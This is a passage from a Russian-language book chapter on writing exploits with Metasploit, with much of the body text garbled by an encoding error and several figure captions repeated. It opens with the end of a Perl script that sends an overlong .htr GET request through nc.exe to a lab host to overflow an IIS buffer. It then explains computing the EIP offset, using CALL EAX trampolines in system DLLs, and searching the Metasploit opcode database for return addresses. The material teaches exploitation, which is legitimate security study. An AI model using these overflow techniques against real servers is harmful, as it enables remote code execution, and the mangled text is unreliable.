43 "Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1" .

44 "Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2" .

45 "Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3" .

46 "Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4" .

47 "Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5" .

48 "Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6" .

49 "Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7" .

50 "Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8" .

51 "Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9" .

52 "Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0" .

53 "Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1" .

54 "Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2" .

55 "Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3" .

56 "Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4" .

57 "El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5" .

58 "En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6" .

59 "Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7" .

60 "Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8" .

61 "Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9" .

62 "Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0" .

63 "Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1" .

64 "Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2" .

65 "Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F";

66
67 $string = "GET /";

68 $string .= $pattern;

69 $string .=".htr HTTP/1.0\r\n\r\n";

70
71 open(NC, "|nc.exe 192.168.181.129 80");

72 print NC $string;

73 close(NC);
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Â ñòðîêàõ 1–65 ïåðåìåííîé $pattern ïðèñâàèâàåòñÿ ñòðîêà èç 4000 ñèìâîëîâ,
ñãåíåðèðîâàííàÿ ìåòîäîì PattetnCreate(). Â ñòðîêå 68 ýòà ïåðåìåííàÿ èñïîëü-
çóåòñÿ âìåñòî ñòðîêè èç 4000 áóêâ ‘A’. Âñå îñòàëüíîå íå èçìåíèëîñü. Åñëè ìû
òåïåðü âûïîëíèì ýòîò ñöåíàðèé, òî â ðåãèñòðå EIP äîëæíû îêàçàòüñÿ îäíî-
çíà÷íî èäåíòèôèöèðóåìûå ÷åòûðå áàéòà (ñì. ðèñ. 12.14).

Рис. 12.14. Рис. 12.14. Рис. 12.14. Рис. 12.14. Рис. 12.14. Перезапись EIP
известной последовательностью

Íà ðèñ. 12.14 ðåãèñòð EIP ñîäåðæèò çíà÷åíèå 0x74413674 èëè â ASCII-âèäå
ñòðîêó «tA6t». ×òîáû ïîëó÷èòü èñõîäíóþ ñòðîêó, áàéòû íóæíî ïåðåñòàâèòü
ìåñòàìè, ïîëó÷èòñÿ «t6At». Äåëî â òîì, ÷òî îòëàä÷èê OllyDbg çíàåò, ÷òî íà
ïëàòôîðìå  x86 ñëîâà õðàíÿòñÿ â ïîðÿäêå  áàéòîâ l ittle endian, íî  äëÿ óäîáñòâà
÷òåíèÿ ïðåäñòàâëÿåò èõ è, â ÷àñòíîñòè, çíà÷åíèå ðåãèñòðà EIP â ïîðÿäêå big
endian. Ïîñëåäîâàòåëüíîñòü «t6At» íàõîäèòñÿ â ñòðîêå 11 ïðèìåðà 12.2, ðàâíî
êàê è ASCII-ñòðîêà, îêàçàâøàÿñÿ â ðåãèñòðå ESI.

Íàéäÿ èíòåðåñóþùèå íàñ ÷åòûðå áàéòà, ìû ìîæåì îïðåäåëèòü ñìåùåíèå
àäðåñà âîçâðàòà îò âåðøèíû ñòåêà. Äëÿ ýòîãî ìîæíî âðó÷íóþ ïîäñ÷èòàòü,
ñêîëüêî ñèìâîëîâ ïðåäøåñòâóåò ñòðîêå «t6At», íî ýòî ñêó÷íî è äîëãî. Ïðî-
ùå âîñïîëüçîâàòüñÿ ñöåíàðèåì patternOffset.pl, êîòîðûé íàõîäèòñÿ â êàòàëîãå
~/framework/sdk. Õîòÿ îí è íå äîêóìåíòèðîâàí, íî, çàãëÿíóâ â èñõîäíûé òåêñò,
ìîæíî ïîíÿòü, ÷òî ïåðâûé àðãóìåíò – ýòî àäðåñ, îêàçàâøèéñÿ â EIP, â ôîðìà-
òå big endian, êàê åãî ïîêàçûâàåò OllyDbg, à âòîðîé – äëèíà èñõîäíîãî áóôåðà.
Â ïðèìåðå 12.3 ñöåíàðèþ patternOffset.pl ïåðåäàíû àðãóìåíòû 0x74413674
è 4000.

Пример 12.3. Пример 12.3. Пример 12.3. Пример 12.3. Пример 12.3. Результат работы сценария patternOffset.pl
Administrator@nothingbutfat ~/framework/sdk
$ ./patternOffset.pl 0x74413674 4000

589

Ñöåíàðèé îïðåäåëèë, ÷òî ñìåùåíèå ïîäñòðîêè «t6At» îò íà÷àëà ñòðîêè
ðàâíî 589. Çíà÷èò, ïåðåä òåìè ÷åòûðüìÿ áàéòàìè, êîòîðûå îêàæóòñÿ â ñòåêå
íà ìåñòå àäðåñà âîçâðàòà, äîëæíî áûòü 589 áàéòîâ. Âòîðîé âàðèàíò ñòðîêè äëÿ

Разработка эксплойтов с помощью каркаса Metasploit



602 Глава 12. Написание эксплойтов III

àòàêè ïîêàçàí íà ðèñ. 12.15. Íà÷èíàÿ ñ ýòîãî ìåñòà, ìû çàáóäåì ïðî ïîëÿ, äèê-
òóåìûå ïðîòîêîëîì HTTP, è ïðî ðàñøèðåíèå ôàéëà, ÷òîáû óïðîñòèòü äèàã-
ðàììû, íî â òåêñò îêîí÷àòåëüíîãî ýêñïëîéòà, êîíå÷íî, äîáàâèì èõ.

Рис. 12.15. Рис. 12.15. Рис. 12.15. Рис. 12.15. Рис. 12.15. Второй вариант строки для атаки

Áàéòû ñ 1 ïî 589 âçÿòû èç ïîñëåäîâàòåëüíîñòè, ñãåíåðèðîâàííîé ìåòîäîì
PatternCreate(). Ñëåäóþùèå 4 áàéòà äîëæíû áóäóò ïåðåçàïèñàòü õðàíÿùèéñÿ
â ñòåêå àäðåñ âîçâðàòà, îíè ñîîòâåòñòâóþò ïîäñòðîêå «t6At». È, íàêîíåö, áàé-
òû ñ 594 ïî 4000 ñíîâà âçÿòû èç ñãåíåðèðîâàííîé ïîñëåäîâàòåëüíîñòè.

Èòàê, ìû çíàåì, ÷òî ìîæåì çàïèñàòü âìåñòî àäðåñà âîçâðàòà ïðîèçâîëüíîå
çíà÷åíèå è, ñòàëî áûòü, ïîëó÷èòü êîíòðîëü íàä ðåãèñòðîì EIP. À ýòî ïîçâî-
ëèò íàì ïåðåäàòü óïðàâëåíèå ïîëåçíîé íàãðóçêå, òî åñòü âûïîëíèòü íà óäà-
ëåííîé ñèñòåìå ïðîèçâîëüíûé êîä.

Выбор вектора управления

Åñëè âåêòîð àòàêè – ýòî ñðåäñòâà ïðîâåäåíèÿ, òî âåêòîð óïðàâëåíèÿ – ýòî
ïóòü, ïî êîòîðîìó ïîòîê âûïîëíÿåìûõ êîìàíä äîñòèãàåò íàøåãî êîäà.
Íàøà öåëü – êàêèì-òî îáðàçîì ïåðåäàòü óïðàâëåíèå îò èñõîäíîé ïðîãðàììå
òîé ïîëåçíîé íàãðóçêå, êîòîðóþ ìû îòïðàâèì â ñîñòàâå àòàêóþùåãî çàïðîñà.

Â àòàêå íà ïåðåïîëíåíèå áóôåðà, êîãäà ïåðåçàïèñûâàåòñÿ àäðåñ âîçâðàòà,
åñòü, âîîáùå ãîâîðÿ, äâà ñïîñîáà ïåðåäàòü óïðàâëåíèå ïîëåçíîé íàãðóçêå.
Ïåðâûé ñïîñîá – çàïèñàòü âìåñòî àäðåñà âîçâðàòà àäðåñ ïîëåçíîé íàãðóçêè,
íàõîäÿùåéñÿ â ñòåêå. Âòîðîé ñïîñîá – ïîäìåíèòü àäðåñ âîçâðàòà àäðåñîì ôóí-
êöèè èç êàêîé-ëèáî ðàçäåëÿåìîé áèáëèîòåêè. Ïðè ýòîì êîìàíäà â ýòîé áèá-
ëèîòåêå, íà êîòîðóþ óêàçûâàåò EIP, äîëæíà âûïîëíèòü ïåðåõîä íà íà÷àëî ïî-
ëåçíîé íàãðóçêè â ñòåêå. Ïðåæäå ÷åì ñäåëàòü âûáîð, íàäî òùàòåëüíî èññëå-
äîâàòü îáà ìåòîäà, ÷òîáû ïîíÿòü, êàê ïîòîê èñïîëíåíèÿ ïîïàäåò îò êîäà
èñõîäíîé ïðîãðàììû ê shell-êîäó, ñîñòàâëÿþùåìó ïîëåçíóþ íàãðóçêó.

Ïðè èñïîëüçîâàíèè ïåðâîãî ñïîñîáà â ñòåê âìåñòî ñîõðàíåííîãî àäðåñà
âîçâðàòà çàíîñèòñÿ àäðåñ ïîëåçíîé íàãðóçêè. Êîãäà óïðàâëåíèå ïîêèäàåò óÿç-
âèìóþ ôóíêöèþ, ýòîò àäðåñ çàãðóæàåòñÿ â ðåãèñòð EIP. Ìíîãèå äóìàþò, ÷òî
EIP ñîäåðæèò ñëåäóþùóþ ïîäëåæàùóþ âûïîëíåíèþ êîìàíäó. Ýòî íå òàê, íà
ñàìîì äåëå â EIP õðàíèòñÿ àäðåñ ñëåäóþùåé êîìàíäû, à íå îíà ñàìà. Èíûìè
ñëîâàìè, ðåãèñòð EIP óêàçûâàåò íà òî ìåñòî ïðîãðàììû, ñ êîòîðîãî äîëæíî
ïðîäîëæèòüñÿ èñïîëíåíèå. Çàãðóçèâ â íåãî àäðåñ ïîëåçíîé íàãðóçêè, ìû çàñ-
òàâèì ïðîöåññîð âûïîëíèòü åå.
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Õîòÿ òåìà ïîëåçíîé íàãðóçêè åùå äàëåêî íå èñ÷åðïàíà, ïðåäïîëîæèì
ïîêà, ÷òî åå ìîæíî ðàçìåñòèòü â ëþáîì ìåñòå, êîòîðîå ñåé÷àñ çàíèìàåò ñãå-
íåðèðîâàííàÿ ñòðîêà. Ïîä÷åðêíåì, ÷òî îíà ìîæåò íàõîäèòüñÿ êàê äî, òàê è
ïîñëå àäðåñà âîçâðàòà. Íà ðèñ. 12.16 ïîêàçàíî, êàê óïðàâëåíèå ïåðåäàåòñÿ
â îáëàñòü ïàìÿòè, ïðåäøåñòâóþùóþ àäðåñó âîçâðàòà.

Примечание

Термином «полезная нагрузка» описывается зависящий от архитек�
туры ассемблерный код, который передается жертве в составе стро�
ки запроса и исполняется ей. Полезная нагрузка создается для того,
чтобы заставить удаленную программу выполнить намеченное дей�
ствие, например, запустить некоторую программу и привязать обо�
лочку к прослушиваемому порту.
Раньше любую полезную нагрузку принято было называть shell�ко�
дом, но теперь от этого отказались, так как этот термин слишком ча�
сто применялся неправильно. Впрочем, в этой книге «полезная на�
грузка» и «shell�код» считаются синонимами. Термин «полезная на�
грузка» может иметь и другой смысл в зависимости от контекста.
Иногда так называют всю строку, передаваемую хосту�жертве в про�
цессе атаки, но мы зарезервируем его для описания лишь той ее ча�
сти, которая содержит исполняемый shell�код.

Рис. 12.16. Рис. 12.16. Рис. 12.16. Рис. 12.16. Рис. 12.16. Первый способ:
передача управления полезной нагрузке, размещаемой в стеке
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Ê ñîæàëåíèþ, áàçîâûé àäðåñ ñòåêà â Windows íå òàê ïðåäñêàçóåì, êàê
â UNIX. À çíà÷èò, â Windows íåëüçÿ òî÷íî ñêàçàòü, ãäå îêàæåòñÿ ïîëåçíàÿ
íàãðóçêà, ñëåäîâàòåëüíî, ïåðåõîä ïðÿìî íà êîìàíäó, ðàçìåùåííóþ â ñòåêå,
íàäåæíî ðàáîòàòü íå áóäåò. Íî âåäü shell-êîä íàõîäèòñÿ â ñòåêå, è äî íåãî
íåîáõîäèìî êàê-òî äîáðàòüñÿ. Òóò-òî è ïðèõîäèò íà ïîìîùü âòîðîé ñïîñîá,
â êîòîðîì â êà÷åñòâå «òðàìïëèíà» ïðèìåíÿåòñÿ áèáëèîòå÷íàÿ ôóíêöèÿ.

Èäåÿ çàêëþ÷àåòñÿ â òîì, ÷òîáû âîñïîëüçîâàòüñÿ ñëîæèâøèìèñÿ â èñïîëíÿ-
åìîì ïðîöåññå óñëîâèÿìè äëÿ çàïèñè â EIP àäðåñà ïîëåçíîé íàãðóçêè, ãäå áû
îíà íè íàõîäèëàñü. Ìû ïðîñìàòðèâàåì ñîäåðæèìîå ðåãèñòðîâ, ÷òîáû ïîíÿòü,
óêàçûâàåò ëè õîòÿ áû îäèí èõ íèõ íà îáëàñòü âíóòðè ðàçìåùåííîé â ñòåêå
ñòðîêè àòàêè. Åñëè òàêîé ðåãèñòð áóäåò íàéäåí, òî ìû ñêîïèðóåì åãî ñîäåð-
æèìîå â EIP, êîòîðûé, ñëåäîâàòåëüíî, ñòàíåò óêàçûâàòü âíóòðü íàøåé ñòðîêè.

Ïîñëåäîâàòåëüíîñòü øàãîâ, íåîáõîäèìàÿ äëÿ çàäåéñòâîâàíèÿ ðàçäåëÿåìîé
áèáëèîòåêè, íåñêîëüêî ñëîæíåå, ÷åì ïðè ïðÿìîé ïåðåäà÷å óïðàâëåíèÿ
êîìàíäå â ñòåêå. Âìåñòî òîãî ÷òîáû ïåðåçàïèñûâàòü àäðåñ âîçâðàòà àäðåñîì
â ñòåêå, ìû çàïèøåì â íåãî àäðåñ êîìàíäû, êîòîðàÿ ñêîïèðóåò çíà÷åíèå ðåãè-
ñòðà, óêàçûâàþùåãî íà ïîëåçíóþ íàãðóçêó, â EIP. Äëÿ ýòîãî íóæíî âûïîë-
íèòü ñëåäóþùèå äåéñòâèÿ (ðèñ. 12.17):

1. Ïðåäïîëîæèì, ÷òî ðåãèñòð EAX óêàçûâàåò íà ïîëåçíóþ íàãðóçêó è çà-
ïèøåì âìåñòî ñîõðàíåííîãî àäðåñà âîçâðàòà àäðåñ êîìàíäû, êîòîðàÿ
ñêîïèðóåò çíà÷åíèå EAX â EIP. (Íèæå ìû ïîêàæåì, êàê íàéòè àäðåñ
òàêîé êîìàíäû.)

2. Êîãäà óïðàâëåíèå ïîêèíåò óÿçâèìóþ ôóíêöèþ, ïåðåçàïèñàííûé àäðåñ âîç-
âðàòà áóäåò çàãðóæåí â EIP. Òåïåðü EIP óêàçûâàåò íà êîìàíäó êîïèðîâàíèÿ.

3. Ïðîöåññîð âûïîëíÿåò êîìàíäó êîïèðîâàíèÿ, â ðåçóëüòàòå ÷åãî â EIP
îêàçûâàåòñÿ çíà÷åíèå EAX. Òåïåðü è EIP, è EAX ñîäåðæàò îäíî è òî æå
çíà÷åíèå, ÿâëÿþùååñÿ àäðåñîì âíóòðè íàøåé ïîëåçíîé íàãðóçêè.

4. Ñëåäóþùàÿ âûïîëíåííàÿ ïðîöåññîðîì êîìàíäà áóäåò ïðèíàäëåæàòü
ïîëåçíîé íàãðóçêå, ñòàëî áûòü, ìû ñóìåëè ïåðåíàïðàâèòü ïîòîê óïðàâ-
ëåíèÿ íà ñåáÿ.

Îáû÷íî ìîæíî ïðåäïîëàãàòü, ÷òî õîòÿ áû îäèí ðåãèñòð óêàçûâàåò íà àä-
ðåñ âíóòðè íàøåé ñòðîêè, ïîýòîìó ñëåäóþùèé øàã – ïîíÿòü, ñ ïîìîùüþ êà-
êèõ êîìàíä ìîæíî ñêîïèðîâàòü çíà÷åíèå èç ýòîãî ðåãèñòðà â EIP.

Примечание

Помните, что регистры, в отличие от других областей памяти, не
имеют адресов. Для обращения к ним имеются специальные коман�
ды. При этом регистр EIP отличается от всех прочих тем, что не мо�
жет быть явным операндом никакой команды. Изменять его можно
только косвенно.
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Ñóùåñòâóåò íåìàëî êîìàíä, ìîäèôèöèðóþùèõ çíà÷åíèå EIP, â òîì ÷èñëå
CALL, JMP è íåêîòîðûå äðóãèå. Ïîñêîëüêó êîìàíäà CALL ñïåöèàëüíî ïðåä-
íàçíà÷åíà äëÿ èçìåíåíèÿ EIP, òî åå ìû è áóäåì ðàññìàòðèâàòü.

Ýòà êîìàíäà èçìåíÿåò ïóòü èñïîëíåíèÿ ïðîãðàììû, çàïèñûâàÿ â EIP ñâîé
îïåðàíä. Ïðè ýòîì â êà÷åñòâå îïåðàíäà ìîæåò âûñòóïàòü ëèáî àäðåñ â ïàìÿ-
òè, ëèáî ðåãèñòð.

Åñëè óêàçàí àäðåñ â ïàìÿòè, òî åãî ñîäåðæèìîå è çàïèñûâàåòñÿ â EIP. Åñëè
æå óêàçàí ðåãèñòð, òî â EIP êîïèðóåòñÿ ñîäåðæèìîå ýòîãî ðåãèñòðà. Ëþáîé
ñïîñîá ãîäèòñÿ äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû. Ìû óæå
ãîâîðèëè, ÷òî íå ñóùåñòâóåò íàäåæíîãî ñïîñîáà ïðåäñêàçàòü àäðåñ ñòåêà
â Windows, ïîýòîìó ïðèõîäèòñÿ ïîëüçîâàòüñÿ ðåãèñòðàìè.

×òîáû ïðèìåíèòü îïèñàííûé âûøå ìåòîä, íóæíî äëÿ íà÷àëà íàéòè êàêîé-
íèáóäü ðåãèñòð, êîòîðûé óêàçûâàë áû âíóòðü îáëàñòè, çàíÿòîé íàøåé ñòðî-
êîé, â òîò ìîìåíò, êîãäà ïðîèñõîäèò èçâëå÷åíèå ñîõðàíåííîãî â ñòåêå àäðåñà
âîçâðàòà â EIP. Ìû óæå çíàåì, ÷òî åñëè â EIP áóäåò çàãðóæåí íåäîïóñòèìûé
àäðåñ, ïðîèçîéäåò íàðóøåíèå çàùèòû ïàìÿòè. Çíàåì ìû è òî, ÷òî ïðèñîåäè-
íåííûé ê ïðîöåññó îòëàä÷èê ïåðåõâàòèò òàêîå èñêëþ÷åíèå. Ýòî äàåò íàì
âîçìîæíîñòü èññëåäîâàòü ñîñòîÿíèå ïðîöåññà, â òîì ÷èñëå ðåãèñòðîâ, â ìî-
ìåíò íàðóøåíèÿ çàùèòû, òî åñòü ñðàçó ïîñëå òîãî, êàê â EIP çàãðóæåí àäðåñ
âîçâðàòà.

Êñòàòè ãîâîðÿ, èìåííî ýòî ñîñòîÿíèå ìû è íàáëþäàëè ïðè âû÷èñëåíèè
ñìåùåíèÿ àäðåñà âîçâðàòà. Âçãëÿíóâ íà îêíî ðåãèñòðîâ (ðèñ. 12.13), ìû óâè-
äèì, ÷òî EAX è ESI ñîäåðæàò àäðåñà â ïàìÿòè, çàíÿòîé íàøåé ñòðîêîé. Ñòàëî
áûòü, åñòü äâà ïîòåíöèàëüíûõ èñòî÷íèêà çíà÷åíèÿ äëÿ EIP.

Рис. 12.17. Рис. 12.17. Рис. 12.17. Рис. 12.17. Рис. 12.17. Второй способ:
использование разделяемой библиотеки в качестве трамплина
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×òîáû òî÷íî âûÿñíèòü, êóäà èìåííî óêàçûâàþò ðåãèñòðû, ñíîâà îáðàòèì-
ñÿ ê ðèñ. 12.13. Ïîìèìî ñàìèõ çíà÷åíèé ðåãèñòðîâ, îòëàä÷èê âûâîäèò åùå
äàííûå, íàõîäÿùèåñÿ â òåõ îáëàñòÿõ ïàìÿòè, íà êîòîðûå îíè óêàçûâàþò. Òàê,
EAX óêàçûâàåò íà ñòðîêó, íà÷èíàþùóþñÿ ñ «7At8», à ESI – íà ñòðîêó «At5A».
Ñíîâà ïðèìåíèâ ñöåíàðèé patternOffset.pl, ìû íàéäåì, ÷òî ýòè ñòðîêè ñîîòâåò-
ñòâóþò ñìåùåíèÿ 593 è 585 áàéòîâ îò íà÷àëà.

Íà ðèñ. 12.18 âèäíî, ÷òî ESI óêàçûâàåò íà îáëàñòü, ãäå åñòü ìåñòî òîëüêî
äëÿ 4 áàéòîâ, òîãäà êàê â îáëàñòè, íà êîòîðóþ óêàçûâàåò EAX, ìîæíî ðàçìåñ-
òèòü àæ 3407 áàéòîâ.

Примечание

Один из способов найти адрес подходящей команды CALL (или экви�
валентной ей) состоит в том, чтобы просмотреть всю виртуальную па�
мять процесса, пока не будет найдена последовательность байтов,
соответствующая этой команде. Такая последовательность называет�
ся кодом операции (opcode). Предположим, например, что на полез�
ную нагрузку в стеке указывает регистр EAX. Тогда нам нужно найти
в памяти команду CALL EAX, которой соответствует код операции
0xFFD0. Присоединив к процессу отладчик, мы могли бы найти в вир�
туальной памяти все вхождения цепочки 0xFFD0. Но даже если нам это
удастся, то нет никакой гарантии, что при следующем выполнении
программы нужная цепочка окажется по тому же адресу. Стало быть,
случайный поиск в виртуальной памяти – дело ненадежное.
Наша цель – найти такие адреса, в которых нужные коды операции
оказываются всегда. В Windows все разделяемые библиотеки (DLL),
загружаемые в адресное пространство процесса, обычно начинаются
с одних и тех же базовых адресов. Это объясняется тем, что в каждой
DLL есть поле ImageBase, которое содержит адрес, по которому за�
грузчик должен постараться разместить библиотеку в памяти. Если
загрузчик по какой�то причине не сможет этого сделать, то DLL при�
дется динамически перенастроить на другой начальный адрес, а это
ресурсоемкая процедура. Поэтому загрузчик по мере сил стремится
поместить библиотеку туда, куда сказано. Ограничившись просмот�
ром только тех областей виртуальной памяти, которые отведены под
DLL, мы существенно повысим шансы на то, что адреса нужных нам
кодов операций не будут меняться от запуска к запуску.
Интересно отметить, что в UNIX в разделяемых библиотеках пред�
почтительный начальный адрес не указывается, поэтому «метод
трамплина» не так надежен, как прямой переход на команду в стеке.
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Òàêèì îáðàçîì, ìû ñòàâèì ñåáå öåëüþ ñêîïèðîâàòü â EIP çíà÷åíèå èç ðåãè-
ñòðà EAX. Îñòàëîñü íàéòè àäðåñ êîìàíäû CALL EAX â ïàìÿòè, çàíÿòîé ðàçäå-
ëÿåìûìè áèáëèîòåêàìè.

Рис. 12.18. Рис. 12.18. Рис. 12.18. Рис. 12.18. Рис. 12.18. Области памяти, на которые указывают регистры EAX и ESI

Примечание

Если бы EAX не указывал внутрь строки, то воспользоваться регист�
ром ESI и разместить полезную нагрузку всего в четырех байтах, ка�
залось бы, невозможно. Но мы смогли бы получить в свое распоря�
жение больше места, если бы поместили по адресу, отстоящему на
585 байтов от начала строки, команду JMP SHORT 6 (код операции
0xEB06). «Оттолкнувшись» от ESI и попав на эту команду, процессор
перескочил бы через адрес возврата и оказался бы аккурат в начале
обширной свободной памяти со смещением 593. А дальше эксплойт
работал бы так же, как если бы на тот же адрес указывал регистр EAX.
Заметим для интересующихся, что в команде JMP надо указать сме�
щение 6 (0xEB06), так как она сама не учитывается при подсчете рас�
стояния.
Очень хорошее справочное руководство по командам процессоров x86
можно найти на сайте проекта NASM по адресу http://nasm.sourceforge.
net/doc/html/ nasmdocb.html.

Вычисление адреса возврата

Ïðè ïåðåäà÷å óïðàâëåíèÿ íàïðÿìóþ êîìàíäå, íàõîäÿùåéñÿ â ñòåêå, äëÿ âû-
÷èñëåíèÿ àäðåñà âîçâðàòà íóæíî âñåãî ëèøü ïðîñìîòðåòü ñîäåðæèìîå ñòåêà
â îòëàä÷èêå. Åñëè æå ïðèõîäèòñÿ èñïîëüçîâàòü â êà÷åñòâå òðàìïëèíà DLL, òî
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çàäà÷à óñëîæíÿåòñÿ. Ñíà÷àëà âûáèðàåòñÿ ïîäëåæàùàÿ âûïîëíåíèþ êîìàíäà.
Çàòåì îòûñêèâàåòñÿ ñîîòâåòñòâóþùèé åé êîä îïåðàöèè. Ïîñëå ýòîãî íàäî
âûÿñíèòü, êàêèå DLL çàãðóæàåò ïðèëîæåíèå. È, íàêîíåö, â çàíÿòûõ ýòèìè
DLL îáëàñòÿõ ïàìÿòè ïðåäñòîèò íàéòè ïîäõîäÿùèé êîä îïåðàöèè.

Âìåñòî âñåãî ýòîãî ìîæíî îòûñêàòü ïðàâèëüíûé àäðåñ âîçâðàòà ñ ïîìîùüþ
Web-èíòåðôåéñà ê áàçå äàííûõ î êîäàõ îïåðàöèé Metasploit (Opcode Databàse)
íà ñàéòå www.metaspoit.com (ðèñ. 12.19). Îíà ñîäåðæèò ñâûøå 7.5 ìèëëèîíîâ
çàðàíåå âû÷èñëåííûõ àäðåñîâ äëÿ ïðèìåðíî 250 êîäîâ îïåðàöèé è ïðîäîë-
æàåò ïîïîëíÿòüñÿ ñ âûõîäîì êàæäîé íîâîé âåðñèè.

Рис. 12.19. Рис. 12.19. Рис. 12.19. Рис. 12.19. Рис. 12.19. Выбор метода поиска
в базе данных о кодах операций Metasploit

Íàéäåì â ýòîé áàçå àäðåñ âîçâðàòà, îòâå÷àþùèé íàøèì òðåáîâàíèÿì.
Êàê ïîêàçàíî íà ðèñ. 12.20, â áàçå äàííûõ ìîæíî ïðîèçâîäèòü ïîèñê äâó-

ìÿ ñïîñîáàìè. Ñòàíäàðòíûé ìåòîä – âûáðàòü èç ñïèñêà DLL, êîòîðóþ çàãðó-
æàåò ïðîöåññ-æåðòâà. Äðóãîé âàðèàíò ñêîïèðîâàòü ïåðå÷åíü çàãðóæåííûõ
áèáëèîòåê, êîòîðûé îòëàä÷èê WinDbg ïîêàçûâàåò â îêíå êîìàíä, áóäó÷è
ïðèñîåäèíåí ê ïðîöåññó.

Äëÿ äåìîíñòðàöèè ìû âîñïîëüçóåìñÿ ïåðâûì ñïîñîáîì.
Íà øàãå 1 ìîæíî ïðîâåñòè â áàçå ïîèñê ïî êëàññó êîäà îïåðàöèè, ìåòàòè-

ïó èëè êîíêðåòíîé êîìàíäå. Ïîèñê ïî êëàññó âåðíåò âñå êîìàíäû, äàþùèå
æåëàåìûé ðåçóëüòàò; íà ðèñ. 12.20 ýòî áóäóò êîìàíäû, êîïèðóþùèå â EIP ñî-
äåðæèìîå ðåãèñòðà EAX. Ïîèñê ïî ìåòàòèïó âîçâðàùàåò âñå êîìàíäû, îòâå-
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÷àþùèå çàäàííîìó îáðàçöó êîäà îïåðàöèè; íà ðèñ. 12.20 ýòî êîìàíäû CALL
ñ ëþáûì ðåãèñòðîì â êà÷åñòâå îïåðàíäà.

Рис. 12.20. Рис. 12.20. Рис. 12.20. Рис. 12.20. Рис. 12.20. Шаг 1: задание типа кода операции

Òàê êàê â âûáðàííîì íàìè âåêòîðå óïðàâëåíèÿ èñïîëüçóåòñÿ ðåãèñòð EAX,
òî ìû ïðîñèì íàéòè êîìàíäó CALL EAX.

Íà øàãå 2 ïîëüçîâàòåëü çàäàåò èìÿ DLL, êîòîðóþ íóæíî íàéòè â áàçå.
Ìîæíî ïðîñìàòðèâàòü âñå ìîäóëè, îäèí èëè íåñêîëüêî îáû÷íî çàãðóæàå-
ìûõ ìîäóëåé èëè íàáîð êîíêðåòíûõ ìîäóëåé. Ìû ðåøèëè îãðàíè÷èòüñÿ ìî-
äóëÿìè ntdll.dll è kernel32.dll, ïîñêîëüêó òî÷íî èçâåñòíî, ÷òî ýòè áèáëèîòåêè
ïðîöåññ inetinfo.exe çàãðóæàåò â ñàìîì íà÷àëå ðàáîòû (ðèñ. 12.21).

Рис. 12.21. Рис. 12.21. Рис. 12.21. Рис. 12.21. Рис. 12.21. Шаг 2: выбор DLL
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Èç-çà äîáàâëåíèÿ íîâûõ ôóíêöèé, íàëîæåíèÿ çàïëàò è âûïóñêà îáíîâëå-
íèé, âûáðàííàÿ DLL ìîæåò ìåíÿòüñÿ ñ âûõîäîì êàæäîé íîâîé çàïëàòû, ïàêå-
òà îáíîâëåíèé è âåðñèè Windows. ×òîáû áûòü óâåðåííûì â ïðàâèëüíîé ðàáî-
òå ýêñïëîéòà, íà øàãå 3 ìîæíî ïðîâåñòè ïîèñê â áèáëèîòåêàõ äëÿ îäíîé èëè
íåñêîëüêèõ âåðñèé Windows è ïàêåòîâ îáíîâëåíèé. Â íàøåì ïðèìåðå ìû óêà-
